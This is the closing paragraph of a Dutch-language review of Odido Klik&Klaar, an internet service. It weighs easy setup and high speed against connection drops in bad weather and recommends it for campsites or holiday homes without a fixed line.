Odido Klik&Klaar is kinderlijk eenvoudig te installeren, is – afhankelijk van je locatie – razendsnel en werkt over het algemeen goed. De verbindingsproblemen tijdens slecht weer zijn ons wel tegengevallen. Dit is voor ons reden om te blijven bij de stabielere vaste internetaansluiting in onze woning. Klik&Klaar lijkt ons wel ideaal voor een campingstandplaats, vakantiehuisje of andere plek zonder (betaalbare) vaste internetaansluiting.